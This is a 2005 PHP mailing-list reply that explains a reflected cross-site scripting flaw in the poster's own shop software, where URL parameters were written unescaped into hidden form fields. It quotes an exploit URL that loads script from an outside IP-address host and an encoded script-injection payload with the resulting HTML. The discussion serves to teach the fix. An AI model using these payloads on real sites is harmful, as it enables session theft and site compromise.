Re: Re: Free penetration test

From: Date: Fri, 27 May 2005 23:12:42 +0000
Subject: Re: Re: Free penetration test
References: 1  Groups: php.general 
Request: Send a blank email to php-general+get-215923@lists.php.net to get a copy of this message
On Saturday 28 May 2005 01:05, Chris W. Parker wrote: > Rasmus Lerdorf <mailto:rasmus@lerdorf.com> > > on Friday, May 27, 2005 11:58 AM said: > >>> You have all sorts of problems at that URL. To start with, here is > >>> a cross-site scripting hack: > > > http://www.vlaamse-kern.com/yourstore-0.0.2-beta1/admin/?%22%3E%3Cscript > %09 > > >>> src%3D%22http://3423329163/v > > First of all, excellent example. > > > Don't display arbitrary key names in hidden fields the way you are. > > What do you mean by "arbitrary key names"? > In this example, what was going on was that I captured the parameters passed on the url, and included them as hiddens in a form. Since it was not properly escaped, the attack succeeds by inserting a variable with value "><script type="text/javascript" src="somewhere"></script> But then url encoded: %22%3E+%3Cscript+type%3D%09ext%2Fjavascript+src%3D%22somewhere%22%3E%3C%2Fscript%3E Which translates in the html document to: <form...> <input type="hidden" name=""><script type="text/javascript" src="somewhere"></script> ... -- Registered Linux User Number 379093 -- --BEGIN GEEK CODE BLOCK----- Version: 3.1 GAT/O/>E$ d-(---)>+ s:(+)>: a--(-)>? C++++$(+++) UL++++>++++$ P-(+)>++ L+++>++++$ E---(-)@ W+++>+++$ !N@ o? !K? W--(---) !O !M- V-- PS++(+++) PE--(-) Y+ PGP++(+++) t+(++) 5-- X++ R*(+)@ !tv b-() DI(+) D+(+++) G(+) e>++++$@ h++(*) r-->++ y--()>++++ -- ---END GEEK CODE BLOCK------ -- Check out these few php utilities that I released under the GPL2 and that are meant for use with a php cli binary: http://www.vlaamse-kern.com/sas/ -- --

« previous php.general (#215923) next »